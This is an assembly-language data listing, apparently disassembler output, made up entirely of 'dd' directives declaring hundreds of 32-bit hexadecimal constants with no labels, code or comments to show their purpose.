dd 0E1602AA3h, 0C240F5C7h, 0DECCDA5Fh, 0F9EFA14Bh, 850162A4h
dd 1A76B2F6h, 8F0C0F52h, 6F74915Eh, 0FA9A7C72h, 7894DC6Fh
dd 8D570FE5h, 0DD3FF05Ch, 45561FD2h, 0ADD19BC9h, 2768E242h
dd 0FE62C2ECh, 4629453Bh, 0D0E915AEh, 8CE47C8Bh, 30D35945h
dd 0F703EE4Ah, 23FD44D0h, 2D0874BAh, 327946CBh, 0CA34F797h
dd 7183483Ah, 8F4D0976h, 7407DEFBh, 0D125F95Ch, 0B66AE855h
dd 74AAC9D2h, 8C52D350h, 8AB40D6Fh, 6C30E8B8h, 9D6F4149h
dd 0B48E4C86h, 142F601Ah, 323B872Ch, 0A7588E5Ch, 5359CB62h
dd 2FC939ECh, 0EE7E8929h, 5927E713h, 0D728BE1Fh, 0CE334888h
dd 4F00B2E6h, 518C24A9h, 5994AA85h, 2FFC8308h, 71FD0404h
dd 81DA9328h, 66591D9Fh, 0E894BB31h, 372BBFA2h, 0EA08F939h
dd 0EA1EE427h, 0FE12D2D2h
dd 4555655Eh, 0FBA33219h, 4F2B2461h, 0C5E289AFh, 9E9CADDAh
dd 1CF5ADh, 386647D7h, 946737AFh, 580E5CE6h, 33EEEB58h
dd 7F15456Dh, 0B23C8F84h, 54006275h, 4ED65AAFh, 3762B477h
dd 1F8382F7h, 2CA54BFAh, 4062939h, 0DFA5007Eh, 6701FB3Fh
dd 619EBD5Ah, 0A66E5940h, 0EC493A37h, 0FA0D52F6h, 44416AA8h
dd 95E2DAF4h, 9E7028BEh, 0E2C689Dh, 93187CA9h, 69DF6533h
dd 0D7D82FB3h, 1FD83B48h, 33764A79h, 0E449AE00h, 4704BE57h
dd 35B8D371h, 4C45D380h, 0DF4A9E49h, 0E7EFA3Ch, 59FCE1D0h
dd 0AA8A8A9Ah, 0A6B2D479h, 34FB6E45h, 0DC99FD47h, 0EF47B518h
dd 0C7B78A90h, 0D2455A4Fh, 0A2D29D9Dh, 0DEA22690h, 6E28ED8Dh
dd 834CF40Ah, 3C44F421h, 33428B45h, 4447B8B5h, 0B205D626h
dd 401AC544h, 4014B606h, 0BC382DDDh, 849883ABh, 0F6665142h
dd 7C38E42Fh, 178EEA71h, 1A57C89Dh, 1C6C70F0h, 30E6D99Fh
dd 1804DD9Ch, 0FCB39807h, 821C418Dh, 2D8541D5h, 61111886h
dd 250DC68h, 0F1D551D2h, 0DFFE871Ah, 338E772Ah, 45F7E861h
dd 73D83846h, 9DD00451h, 92B26052h, 19D398B1h, 0B2E86777h
dd 0B2883020h, 0C9490285h, 55174BFh, 7280C4B6h, 5EB57CA5h
dd 9B06AD7Dh, 333F0DB0h, 0BAF536EBh, 2F227593h, 0DDB279BBh
dd 8E7C76CEh, 33AA3F70h, 0F8AF32BFh, 41C949E2h, 76D5147Bh
dd 0A3E7CAFCh, 0CCA7A357h, 0FBDC0368h, 38E9A171h, 1AD389BAh
dd 29C2E8F5h, 7B3782Ch, 42E903BBh, 546CBADh, 0FC0FA35h
dd 0E23E415Eh, 6F2CD51Bh, 0E65DB8AFh, 0E6ED4B52h, 918FF844h
dd 0A8CDB51Dh, 9E9BBD42h, 9D156B28h, 48CEEA75h, 0DB53E036h
dd 0A1030C0h, 0A363C2A8h, 5E516813h, 591EFCD3h, 0AF794759h
dd 9B210CC1h, 83DAE0A9h, 586DA441h, 0EFEBEADh, 0BD5996EEh
dd 86652E6Fh, 0E10EAA7Ah, 44252D3Bh, 0F697A569h, 51E3DBD3h
dd 0F083043Dh, 71D0C871h, 45442CD8h, 5132546Ch, 3DE490A2h
dd 97A48AA5h, 0B2221A26h, 4756AA03h, 34FC968Ah, 89A77228h
dd 0D3F26771h, 0F00822DAh, 0F4448CDCh, 0F5FE13A4h, 949A4423h
dd 0AE19F1h, 7452A1BDh, 0C8C3C82Fh, 0F875B282h, 8F4367F2h
dd 267838ACh, 4CBC89A3h, 0B35A55CFh, 0E3370603h, 0B6C59549h
dd 0BE1E41E5h, 0C0F87EBDh, 536FBC56h, 0D82B8A7Fh, 88E5BF9Ch
dd 219C7CC8h, 8B7B42C4h, 0C665BFA3h, 0B54EAB81h, 6669D9D7h
dd 0D0D361B5h, 0DAAD54F9h, 0E3F88A2Fh, 0DA9B052Eh, 0AEEC5B51h
dd 43B40F0Ah, 15B4E20Fh, 998DD910h, 4BE2370Ch, 73A7C26Fh
dd 78801C7Ah, 0D9EE6BA2h, 6903BFB3h, 243EBB9Ch, 0B7A0E4DCh
dd 63A71A23h, 372F2B49h, 0F365896Ch, 716ADEFh, 0E912F764h
dd 0D1F49423h, 0DC186CBCh, 96403783h, 0AE8EC31Bh, 0ECD63209h
dd 791351h, 605A0473h, 22761AC8h, 97A6ED16h, 0BA6F6378h
dd 83D16136h, 65DAC9EDh, 20301FC3h, 5F0C81B5h, 6A1BBEA4h
dd 0D90E4E5h, 0DEE7AE80h, 4D12AFB8h, 8BF3ACE9h, 678ECC79h
dd 57F9AE13h, 0E1C1B585h, 42294130h, 1A62F7EEh, 7931AA4Bh
dd 5CF8FA7Fh, 73ACF8E4h, 0F32F09BCh, 0DD6C5AEEh, 2928A23Eh
dd 0E606793Fh, 0F051104Bh, 0B96DC343h, 0A7AD02B6h, 0D4C00DADh
dd 0D9B14F93h, 429AA8FAh, 0C6A42068h, 0DD1A13FDh, 0AD6184CFh
dd 780B4D05h, 0F9F2DF71h, 0E7888C4Bh, 0FBF2E042h, 73B38EB1h
dd 100B860Ah, 0F5AC5643h, 0C651A774h, 5B89129h, 39634721h
dd 872E6191h, 6E4E1EDCh, 0A035334h, 0F84594B1h, 0CA9012D0h
dd 9FBEB9DCh, 95F1179Eh, 2D773A2Fh, 60E397D8h, 9AF6C0DDh
dd 379A5F7h, 9108099Ch, 0D747760Fh, 9B8E0233h, 16889900h
dd 13616402h, 7574174Ah, 0CC73266Fh, 0B97198h, 0CA5C5F9Ch
dd 1670B0FCh, 2B8C55F0h, 0C8EC6F54h, 0F36C62FFh, 9590B694h
dd 84D5EAB9h, 1CE6B544h, 0E934EEFFh, 91149628h, 0CC5FCD65h
dd 0A33FF55Dh, 0CCA24BF2h, 0DD31BCA5h, 598C380h, 470DBE8Ch
dd 0C06B23BBh, 41010964h, 85B6DFD2h, 35F03A6Eh, 9DEC3295h
dd 0BE29650Fh, 15133AC9h, 0B59840CEh, 0E9D3FABEh, 88686E00h
dd 5D46824Ch, 118B64C7h, 6985EAD3h, 809C098Bh, 98118B00h
dd 0B42329DBh, 0A4A9A48Fh, 0AFE68A2Eh, 8812B32Ch, 0D5478E64h
dd 0A265053Ah, 0D8AAD0C9h, 229A1958h, 7478F720h, 36B34174h
dd 427317F8h, 4D508BDh, 153B1AEEh, 1C1AB632h, 0B21F26FAh
dd 325CAAFEh, 112CE776h, 8A49A96Bh, 0FC0CF34h, 82431F06h
dd 355D5A1Bh, 5A1E361Dh, 48B691CCh, 1C5F14A5h, 0ADCBEF15h
dd 65F01F56h, 6BAACBE4h, 1C60ECBEh, 1AA1D70Bh, 3FDCC5h
dd 13866526h, 8DC02D36h, 910DB91Fh, 0CAF3CA6Bh, 75E34C69h
dd 0B84CD7AFh, 23CB8AC4h, 69804BDDh, 6A259736h, 2C473A53h
dd 20CF7FF0h, 8E62F34Eh, 93409C9Eh, 1CDF0D65h, 0E5E65741h
dd 6ECCAC7Bh, 9B15F0D8h, 5F083EC0h, 0D028DA0Bh, 0CF957D94h
dd 81B5F477h, 5B55B8E6h, 0FDB1E0E0h, 535C8B1Ah, 45BB071Ah
dd 0A8464A47h, 0FF53234Ch, 0CF6E3130h, 67D95D02h, 13655FF2h
dd 4E47063Fh, 28BAC3D3h, 0F6C08A29h, 928E2CB6h, 701DC989h
dd 0EA5F49E1h, 97154AE4h, 66FCE765h, 1AE766EAh, 70DB024Eh
dd 147E9DD8h, 0F62B53B4h, 0F4B987D5h, 214FE60Eh, 0FE1C91Eh
dd 4545DBBBh, 33381716h, 8EE9EF53h, 2D95D714h, 27DFE9B2h
dd 0D2C42A52h, 6F12A5A1h, 0A1A6BC18h, 0A4627BC8h, 14D175ADh
dd 6804B33Bh, 62B54528h, 0B1A3ACB0h, 0A9BD4569h, 84F95B1Ah
dd 42BC0EDDh, 0DD8067FAh, 82FFA6E3h, 759A5E3h, 3642985Ah
dd 0DC121214h, 809B80FAh, 0CB6AFD08h, 0C636DF89h, 8A1D0731h
dd 7301EB5Bh, 470C91F3h, 801EA816h, 0ACACE121h, 0AB6F8A80h
dd 0BEAE2839h, 0A81F1283h, 0B23D4E6Fh, 16C0AE35h, 790D6E5Bh
dd 6F5DF0A7h, 0B3273917h, 0C4223559h, 7A4E4406h, 55709478h
dd 0D3114040h, 0FB250B8Ch, 1042C062h, 0F5D4A84h, 5D7F27D0h
dd 1D7EEA08h, 0F82BE398h, 905BAADFh, 0EB42F58Bh, 9371BF6Ah
dd 0E544567Ah, 0CE90D2A1h, 65974B95h, 0B691974Ch, 3C92AA30h
dd 51299F93h, 0EFA1758Bh, 24E6215Ch, 7E7E89C7h, 51777EF7h
dd 3A8D280Ah, 0B7E13DDAh, 3CE6BBD6h, 0B696421h, 2151490Fh
dd 5A493908h, 0B774A1F6h, 66375056h, 0DD46891Ah, 0A290C2A3h
dd 25C89E64h, 0CC65D4F6h, 207E5438h, 0F63D4F3h, 0F48D260h
dd 153C89E3h, 0D5DECD10h, 0D892C602h, 3500D7DBh, 0BEAF84DCh
dd 0DA9E4893h, 8EAC5528h, 362E0BBh, 0EE00F8B0h, 2297A605h
dd 0BD82644Dh, 0BA381EEEh, 0DA258CDDh, 164B89DEh, 0CCAECF00h
dd 0AC5FAE36h, 4BEE887Ah, 0FB8DE0C0h, 0E4C8A261h, 7E072393h
dd 3BCE07B4h, 0E5E8F3EBh, 0F0140B91h, 47E4C461h, 0E5CA3286h
dd 0D93D9E3Fh, 0D2938AC7h, 1ADC37C1h, 21B7A683h, 6D716E96h
dd 91E73F4Ch, 0A77D65E2h, 49986D7Dh, 71116849h, 0C1622EB0h
dd 0FBE33C55h, 0BC7E3CA2h, 0AA318048h, 84DD3D28h, 31A9ADA2h
dd 8D07BE86h, 0FB81A00h, 58BC7EAFh, 0FBD90811h, 84F28115h
dd 0E5145087h, 1D75101Bh, 5A1028Fh, 0FD2DC704h, 0AA9893D1h
dd 0BA8308h, 415E40BAh, 0EF729B61h, 0A6E11330h, 5F6ED871h
dd 0DE5EE2C9h, 48D65E15h, 467D078Fh, 0EFE37FBEh, 0B037C5A7h
dd 0A17E2670h, 232A3A83h, 3DBD7DE1h, 8E8E6323h, 4C91333h
dd 6425C287h, 0FAE780Dh, 0BDF4EBD0h, 2154A556h, 0E0B31292h
dd 931DBA83h, 0E7F67ACBh, 705CBE5Bh, 36BD0112h, 0F2BDBEEEh
dd 6855F5B1h, 3FAA82EDh
dd 15053D96h, 92A00E7Eh, 2F36867Bh, 0F7E125Ah, 0AC8403Dh
dd 0D0B764EAh, 0D88F3108h, 0EB06BB5h, 0D566F7C0h, 0E6B2B0F7h
dd 9C6026Dh, 0B11B9A1Eh, 484147BBh, 0CA338FEDh, 0B99A7921h
dd 7514BACBh, 0DD83899h, 0D4863501h, 3290D0C3h, 3E67006Fh
dd 8D0B4122h, 0D17BDE2Eh, 85F9AF78h, 0E873F9DBh, 1174891Eh
dd 9D13AF3h, 7CEE3F38h, 6950F61Ch, 538F0A2h, 3B501B13h
dd 0E0B2C66Ch, 68FC8C21h, 3681009Dh, 6C38AF9Ah, 972A3CA1h
dd 6EB0CD07h, 0F05D8AC6h, 0DAACB0E7h, 85C0D1C4h, 0AF09718Fh
dd 94C8F6E1h, 0FF9B1E68h, 0C61BF49Eh, 0FD28CD17h, 72EC250Dh
dd 35D5B53h, 291B882Dh, 86342B9Ah, 0E3D0BB28h, 74FD5569h
dd 572472Bh, 0B891EF11h, 5E7698B6h, 371A6925h, 0BBC1C369h
dd 229723FFh, 27AC9D93h, 9012B8B0h, 44750FD0h, 0DFF0E760h
dd 3B9DEDAAh, 47F8FE56h, 341A6EB9h, 0ACA2E04Ah, 9A054865h
dd 994B7BF2h, 5FA6C852h, 18B17CEh, 2FA19AB7h, 9DDEF72Ch
dd 1660FCD4h, 320926C5h, 0A51924B7h, 682410FFh, 0BF5A513Ah
dd 12EFF7C0h, 0D907680Dh, 0BC67243Ah, 0D5152E80h, 0DE5AC3D5h
dd 4A66063Dh, 0E0E828ECh, 17FEF169h, 91CA228h, 7EA4B125h
dd 0F513B06Dh, 0CBD3B787h, 407E7D0Bh, 742252D9h, 6BCDDD3Bh
dd 0ED9DBDFBh, 68CDA21Fh, 0CE10ABF9h, 1881A90Bh, 0E8FCB0B4h
dd 0F366D9A4h, 5F2AE2h, 9CBBD0F7h, 675E2484h, 0C288DA9h
dd 43864A3Dh, 0C0C2ACF6h, 979A24C8h, 90E9D470h, 4DCC162Ah
dd 0C5AF58B7h, 0C0F3EE63h, 0F4E55E61h, 362DC205h, 8FDC9E68h
dd 14BD5324h, 0A2EDAA2Ch, 0E4D4595Ah, 685630h, 45006731h
dd 91B30AEh, 0D33A4030h, 0D18E1B98h, 81C096ACh, 95288C8h
dd 9F660111h, 55901C7Ah, 0D2329B5Eh, 0ECF8D4A0h, 96B535F2h
dd 0F6AD0AFh, 738F53BCh, 714A5C9Fh, 63F72818h, 0F093C994h
dd 1DDE7C13h, 0ED1B000h, 650710Fh, 0B7653A28h, 8C029143h
dd 0F3BC1385h, 0C09968B3h, 4BE2685Dh, 414CF7BEh, 0A6E2C40Ch
dd 15803273h, 66E95785h, 0AD64276Bh, 0D02CD4E8h, 30ED8D6Ch
dd 4A377A54h, 4F68B69Ah, 5959B70Fh, 722D36C2h, 93AFC946h
dd 0BC27A8C4h, 0D84705FDh, 661715B0h, 16C92BF2h, 0EBA05501h
dd 0D063A7BBh, 0A3053107h, 2EA22FF8h, 0CAD8CAFCh, 0EC4CD86Bh
dd 0C6D01268h, 0A10CEAD7h, 0A2986ADFh, 0E3DB86C6h, 0DADEFE1Dh
dd 0D05D4D13h, 7B6B208Ch, 154A35EBh, 898125E2h, 302354A3h
dd 6942B4EDh, 367309FBh, 9837857Ah, 455BF5D1h, 0A911FEF8h
dd 7F5B1BA4h, 0F881F1F8h, 0EB4BA98Bh, 0F17A9379h, 0EA904B82h
dd 13237CA9h, 0FDEEE164h, 13B54074h, 12C144D3h, 8B27D82Bh
dd 0FC25452Fh, 56795F6Fh, 84D91EDAh, 491AE113h, 4A27D501h
dd 909D9863h, 0DC8B42CFh, 0B2AA77ECh, 0A93D15FAh, 6C7E0496h
dd 1C877519h, 0F0C32867h, 49800EDFh, 5A5E7D1Dh, 5DB920A3h
dd 7115C825h, 7412D234h, 0D838F16Ah, 0D645F339h, 2D3DE3CDh
dd 4EBCED23h, 89AF82FEh, 0A734DD43h, 0CBE7ADDAh, 0DB24AC5h
dd 46203808h, 16861C69h, 499C229Bh, 0AB9A86A6h, 86EDBA98h
dd 105B164Dh, 952FD3Dh, 0C8E6220Ch, 2F1ECC0Eh, 0DEA9B269h
dd 0B6CF3D6Fh, 49E16966h, 37E2A287h, 3EBD62B7h, 270EB99h
dd 0AF3EB8BAh, 7128274Ch, 7523B901h, 4FA93C6Bh, 903D979h
dd 0FA9BD9D0h, 0FE270D8Eh, 0DEDACCD0h, 1DA3E2D0h, 110CCEE4h
dd 1E5A8CF4h, 32B43453h, 0FF936A6Eh, 414A639h, 56E2A45Eh
dd 93C5A684h, 1EF2DA7Fh, 0CE110F28h, 0DC06F0E1h, 89F55FF6h
dd 133D3B25h, 30E7D9B5h, 0B80E7B4h, 4FC25E1Ah, 0EF06D4D6h
dd 0BDE6CFEh, 98CB13E8h, 41B3AEA1h, 28D68822h, 79B75503h
dd 1661D641h, 0D44FD8E9h, 65B905E1h, 0BD75FA5Ch, 3E83BDBAh
dd 1605C48h, 0ED0683E6h, 0CDC11804h, 12E7EABCh, 19E64655h
dd 8F112FACh, 0CFE99012h, 9C29342Ah, 0D8411A83h, 0C901E23h
dd 3EA6A6A2h, 1E62E0A4h, 0EC552593h, 2F7AEB26h, 88EC63Dh
dd 1D660803h, 3AA0D927h, 5B4055CFh, 0B9C81DECh, 569C5730h
dd 79D5CDC9h, 0C4E670AEh, 0FE75B9FDh, 94C161EBh, 0EC3B238Ah
dd 7F08A02Dh, 8A7E0E9Bh, 65F2D56Bh, 10C8C76Ch, 0D3BA325h
dd 0F13D9948h, 0B11B9C0Fh, 96C0672Eh, 5F31D323h, 34CCEB32h
dd 920A4E7Ch, 44F14E0Ch, 85969031h, 1BEFE25Fh, 4842E8EAh
dd 0E3D3A952h, 0D66A797h, 75335169h, 71EBD471h, 24AC8D09h
dd 87958A86h, 3143110Fh, 0A0917143h, 7179C6Ah, 8E586EBAh
dd 0CDCE4A3Dh, 0A7760180h, 0C9F2B18h, 286918B1h, 0B97989A7h
dd 91742714h, 70324E01h, 0DAA66C5Bh, 911B2FBEh, 0A75AE7F1h
dd 7641AC47h, 0E0D1B42h, 0D4C82889h, 6A34D7EDh, 0BCA9AC9Ch
dd 0BE52CA23h, 3B00DDEAh, 66FAB04Ch, 1B388499h, 0C70893D8h
dd 61E5BD09h, 345E35h, 8453DBE0h, 0BE406597h, 5091908Bh
dd 0F2399949h, 0A4486C65h, 0DD13D3E5h, 0BDF6AD0Eh, 14C28B72h
dd 3A2D46C1h, 0B46576D0h, 49A3CF81h, 42EFC3D1h, 9A34B387h
dd 861A4CC5h, 9AC14DB1h, 3514FFF5h, 4D0FBC46h, 0ABB61D45h
dd 279CBFEDh, 0F7C41FA3h, 51092323h, 542DBD7Bh, 75A9C25Ch
dd 5108D2F4h, 4F6A0DBEh, 664157FAh, 30382A92h, 19DA2819h
dd 81810E6Eh, 0F36A92DBh, 0E195C783h, 6154F957h, 8FCB20BBh
dd 45C5F55Eh, 1A63C840h, 0F2FD04C2h, 85B7AC28h, 629718ABh
dd 926A54F3h, 0AC4411D4h, 0F4EEA7Ch, 67C4AE93h, 7A886456h
dd 4AF8C38Fh, 1BE2EB77h, 0EEB3B80Eh, 0E803FA35h, 0E4E2FF50h
dd 1D9EC708h, 2684CCCAh, 3A42700Ah, 0DB61FB9h, 0B990C97Eh
dd 0E267A61Ch, 215969AEh, 727515BCh, 0EB278D91h, 0AE4C5720h
dd 0ABC3D645h, 0C1E3ACEBh, 0A84F351Eh, 74E89909h, 53177068h
dd 0AA51477h, 730AB208h, 60D30653h, 6C586EBCh, 23120945h
dd 804B74ACh, 781A130Fh, 0E9BB29D8h, 29A2D992h, 0DBAB3B6Bh
dd 5FD9AEC1h, 0B68A1265h, 2FA64F35h, 6C4F0D74h, 6A345609h
dd 0A1A423E5h, 0E37AAA53h, 878C8B4Eh, 28D7052Ch, 28EC3083h
dd 48829DF8h, 15C3692Dh, 0C573552h, 2B6FA232h, 0A7083E46h
dd 80629A82h, 68FAC904h, 8946DC1h, 0AE37740Bh, 11FC09ACh
dd 26F40CCBh, 0C44FDBFDh, 999542F5h, 8F95B73Ah, 409DCBD7h
dd 0C1017486h, 271F6AFBh, 0B9509FF1h, 17BFD841h, 9AB9615Bh
dd 0FC83CE53h, 6F950D9Ah, 0D98589E6h, 0AE4FE472h, 3B29C7F4h
dd 7F93F91h, 68F39318h, 0AF893DA9h, 7F06E012h, 1AE8B96h
dd 56533C46h, 596B3BA3h, 7339DBA4h, 0A01240F1h, 0E9ECDBC3h
dd 31D1099Dh, 5CEDE270h, 0B5C70C96h, 12E85B87h, 3CC75067h
dd 82599BBFh, 0E35634B8h, 552F188Dh, 4455A01Dh, 0A4F99883h
dd 7AAE58A6h, 0E3069282h, 0CDD7E236h, 0A9A2858Bh, 84C93FBBh
dd 8E8BEAA2h, 71CC5ADEh, 0C91FFCCFh, 4C813E2Fh, 0BDF5D993h
dd 0A11C05DDh, 84771B1Ch, 8268B5C9h, 0BB9324D3h, 225CE187h
dd 0C875F391h, 32B6B6B0h, 0AAE2973Eh, 159B3B52h, 0B23BEDA3h
dd 0F3C6DF9Eh, 8A5C3Bh, 816F9680h, 2ECDBA53h, 0D108E402h
dd 0BEEDB77Fh, 0CFDCFA23h, 0B0A40090h, 0D9D3F370h, 43A46226h
dd 0C58837DCh, 804DB535h, 0F4357C18h, 0FDDA3226h, 4FF65210h
dd 559F19E3h, 0E993D36Ah, 5D8553CAh, 9134CCE4h, 883C0C9Eh
dd 7F9BB0CFh, 3A243C3Eh, 0CB43DFDh, 0BEC3C47Fh, 0EBDA8D44h
dd 2801792Bh, 0A594A0D4h, 6D22F697h, 582577A0h, 3D34CCA7h
dd 0F223910Ah, 1F2071F5h
dd 58C430C5h, 35105D88h, 7E83FF0Fh, 572A8AEBh, 0A408106Ah
dd 664C93Dh, 4C28F2EEh, 88DF13A0h, 0A5A4228Dh, 36545321h
dd 5791D34Dh, 0AAD48762h, 0ABA942Dh, 0D4B538E7h, 7E3332A8h
dd 0D73ADD87h, 60B2C2AAh, 3B6B0C41h, 0E049553Dh, 8FDEBD93h
dd 22401AA5h, 460E5A2h, 71A25865h, 0A2679968h, 3FA3400h
dd 0FF7F3208h, 34518551h, 98783797h, 9C63ECF3h, 991A1862h
dd 9DA6D0BCh, 68A4315Dh, 0D0D165D0h, 2E797CF3h, 15AEB404h
dd 706F06EFh, 9FDCA17Ah, 346D08E5h, 0E2F646A0h, 0BF24DA9h
dd 0DD705D35h, 68ECCC2Ch, 6CEA20E4h, 0E7240253h, 0AD9FFB33h
dd 0C9AA2391h, 92CF696Ch, 30F56334h, 99F0E57Ah, 233B6568h
dd 8AF49FE0h, 701243Dh, 0ED049650h, 0F430C7A5h, 61399A4Bh
dd 0EAA7BCC8h, 0CF2793C5h, 2EF93DC0h, 4B9723C8h, 0E047B097h
dd 0ADA1EED9h, 0A38FB28Dh, 44A80BDFh, 2DE0024Ah, 2348A330h
dd 0ED7B8E8Ch, 5F51FCD6h, 0DF345FB4h, 0B72097C6h, 0ED6D990Fh
dd 34050FDCh, 0A25A0A37h, 0C2378E66h, 7EBE9905h, 0BF9D9928h
dd 5B721879h, 0E8CC4BF9h, 0BD52D728h, 8A52FA46h, 4C41554Dh
dd 0DBA612C8h, 8DAE483Ah, 50ED91CBh, 0A8A3CF84h, 0C1E6BAB8h
dd 3764231Ah, 0AECDDAB2h, 6DC5B48Ch, 0DCA01631h, 0FAF7FE97h
dd 0DD87C5BCh, 58E213EBh, 0CE5BC05Dh, 0C55337C0h, 0B83DA863h
dd 39A57D70h, 57B18176h, 0C1DB6378h, 22862EBAh, 3FF59344h
dd 0DC822A00h, 31E6E26h, 11A321ABh, 6AE85D62h, 0B8962CB2h
dd 3AA07C47h, 265557D2h, 5E778956h, 8969AA1Dh, 422FC69Ch
dd 9D086058h, 0FE9B4895h, 0B9B2975Ch, 788BEF82h, 7F9EBD32h
dd 7AAC03AEh, 566725D4h, 48829C76h, 0C93CD0E4h, 2CD4C92Dh
dd 0CA040CF1h, 0E944EF08h, 2EAB6AC9h, 132ECCD0h, 9AF40936h
dd 0CE57347h, 4DCAFCDEh, 6AB991A2h, 0C00F5FA4h, 613F9DDBh
dd 0A46C806Fh, 17D275FFh, 2AAB4306h, 0A9DA6FCBh, 4209806Dh
dd 0EBB0D677h, 8B95A56Dh, 1832E864h, 0D103CE0Ah, 7A5BDEEFh
dd 4B3B3AF3h, 0D41F13C0h, 0A9BEAB13h, 5418E2Fh, 9D6E983Bh
dd 57FAC3E7h, 57053603h, 0D1075F2Dh, 10210FCBh, 0B713AB45h
dd 6DF610F6h, 799836D9h, 9417B14Dh, 0B56D5D54h, 0B5F09D07h
dd 0BE857374h, 7EDEB744h, 0F58718E7h, 0A7D74B90h, 0EAC429BFh
dd 1E5DEA81h, 0A1530705h, 55436C09h, 7B011DADh, 0F22E8D8Bh
dd 767C87FBh, 3DFAC2BAh, 52024C73h, 0F1339404h, 7C31E4D9h
dd 28958EF7h, 0CFD760A7h, 8EABBB4Fh, 67C9CDD2h, 8BB1A57Eh
dd 7833EDE6h, 0E1206370h, 279D1FCCh, 5BD1C892h, 39824746h
dd 14C17E16h, 31B31F36h, 0B5D9E2FCh, 458CE9EFh, 9F712966h
dd 133BB3D9h, 9F6AFD9Dh, 0B5DA96B2h, 2D5EE082h, 765A88B0h
dd 241BB901h, 948EBDBDh, 0F8B20EDAh, 5A2B1891h, 3CF2E7Ch
dd 27A996Dh, 0FAB9BF00h, 2F8F6290h, 0E2B7EFECh, 0C285D759h
dd 69D804EDh, 0E03ED686h, 0CA3289DBh, 3AFF4FBDh, 6CA5C5C3h
dd 0DE5E7AD7h, 5F0B2AB7h, 356BB907h, 0A6B8CAC0h, 5B1A417Ch
dd 0CB445C2Ah, 9BBD2330h, 0A0CF0092h, 0D6A3D871h, 13497895h
dd 7B88D5C5h, 35CD9915h, 0CC60186Eh, 5F1A7849h, 5C0327A4h
dd 0A2C2CC1Dh, 0F4DCFAA9h, 0CE73C53Ch, 0BC2ACE39h, 0C9AC9F09h
dd 249F2B08h, 91444A67h, 6495E4B3h, 4886A140h, 57FF2BE5h
dd 0A58BE191h, 3E995945h, 5CAE1504h, 25772EC3h, 63F5DE65h
dd 20086A47h, 0F2ABFCD4h, 5027F195h, 0DE374344h, 0A2493C34h
dd 5D614819h, 0CB2745E7h, 4D530B1Dh, 12ACCB81h, 268226FAh
dd 86DC84A3h, 77BF2CB3h, 0FDE9B0EFh, 650F3BEBh, 0D259091Ah
dd 57BDFE18h, 5E60BB3Bh, 0ED2FD702h, 44158582h, 2653C400h
dd 43F0FBC8h, 943E9152h, 92212E37h, 0DA1B75C1h, 4D4E5266h
dd 0D654EFFh, 99A6622Ch, 0A01C91EDh, 0DCD4080Eh, 6C010BDAh
dd 0D7640E03h, 0A989F6CCh, 87928B12h, 0C693CE66h, 3FC3A1E5h
dd 37B583EBh, 1C87067Bh, 5E8C2115h, 0F39E2494h, 5EDAB79Dh
dd 17E34001h, 72582765h, 14EF86F5h, 0E4287A81h, 0F99B1DD3h
dd 0EE516772h, 9C5B8A45h, 0EAD58656h, 897E81CEh, 0A60B524Ah
dd 0A08AA686h, 7A6109C2h, 0BF35D8A5h, 27D19C07h, 9ED7E188h
dd 0DA3ED83h, 0F517889Eh, 455802E5h, 0DC79F739h, 0EF484AA4h
dd 88C28CF7h, 2E664223h, 3B791ED3h, 90EA55D6h, 0E48CE499h
dd 1826FBDAh, 0F5441F66h, 2E90C706h, 84F214ADh, 41BC04A1h
dd 134D7814h, 75E09956h, 0E2A180FAh, 0FFC82A6Fh, 0F459C294h
dd 6D1D984Ah, 0ADBF41B9h, 0F1CCF10Ch, 71A212ADh, 6CC6EE5Eh
dd 0DF3EE779h, 6FBB5EF1h, 0AD9D253Bh, 16E6BDA0h, 250A15C1h
dd 0FC77B37Ah, 965BFA9Dh, 0CEE3375h, 2D500309h, 89BDD38Eh
dd 32E7A8E5h, 7FD8521Bh, 85109CD7h, 0FB0F87B8h, 63DFABF2h
dd 9EB965A3h, 0D3B55479h, 722F0199h, 0BCFD8744h, 0D37E022Eh
dd 4162CEh, 0C1EB98C7h, 75CC963Ch, 0A38928A7h, 159048C6h
dd 0CC8977A9h, 0B9C3D4E6h, 63AB9492h, 2F47EBDCh, 2843EAADh
dd 0E7271894h, 373C3168h, 0D70B318Dh, 0F87F43ACh, 79B9665Eh
dd 0E4483B93h, 62847CBh, 346FEBF4h, 707E88AFh, 57D26743h
dd 6BEA0A7Eh, 4A987BAAh, 6BF4C829h, 120D3D1h, 707DD885h
dd 4095DBCEh, 271EFCF5h, 62C02534h, 30E9913Dh, 0FBEA1E2Ch
dd 7DB20EC5h, 21E5B257h, 0BC89E8Bh, 9841E63h, 760FF182h
dd 36383DB7h, 31C25641h, 254D4F81h, 0E9657258h, 134055Bh
dd 749C9262h, 0D03F1D21h, 2B015C5Ch, 0F905653Dh, 6D3CC496h
dd 0BA286B5Dh, 51EB8D9Eh, 341BE8B9h, 0FE5BFAC7h, 183F53E6h
dd 0F3376B96h, 0EE13F14Ch, 0E9FD5D40h, 39B1107Dh, 140EF5E0h
dd 0C9E23E4Dh, 0A48B69B8h, 780C3349h, 0C648852Eh, 6C81075Dh
dd 982065F6h, 79D54493h, 0E65A1E92h, 0DCF2DC14h, 5DCC1F85h
dd 560DF01Ah, 67928BD5h, 8E816DF4h, 3FF67670h, 4B0CD389h
dd 568D4ECAh, 6F4AA28Ch, 0EC4FE6E2h, 21A9715Ah, 0EAAC5D5Ah
dd 33BD7195h, 2960A84Bh, 3BBD90BBh, 3D833A69h, 0C05BE129h
dd 0E0907159h, 9C88A351h, 0DE859701h, 0A5A65FA8h, 29F20476h
dd 0A58AA83Ah, 80DD5CD7h, 297349F1h, 0EA2487DFh, 646EAFB9h
dd 0E536358Ah, 377A2887h, 0C804109Dh, 74A43D89h, 831B5AFBh
dd 6910DD1Ch, 44268933h, 639D1BD7h, 40B1CEBAh, 641139D0h
dd 0AA152983h, 0C37C337Eh, 0BB6F5E6h, 1E73CCF3h, 0DE12EB32h
dd 7B756CFEh, 7FFD6E42h, 7F79EFBFh, 3997757Eh, 5DCA5803h
dd 0A9335971h, 4B5A9B77h, 0F9045989h, 0F62079BCh, 0AF626455h
dd 0F8AC2EF0h, 15A497Ch, 0DB718F77h, 596942B3h, 0B5F53432h
dd 2CE66E3Bh, 6FE8659Fh, 1F9AEF28h, 4E0876C4h, 7620C4D9h
dd 8D069DB7h, 0E3E90C27h, 4FD9A5D0h, 29613414h, 7EC227A4h
dd 765ACE86h, 5148D9B3h, 0C9EAD89Fh, 796EDC94h, 0A4CE3F55h
dd 6E839CF9h, 99559499h, 0F4E6F2E9h, 631152B0h, 0EA56733Ch
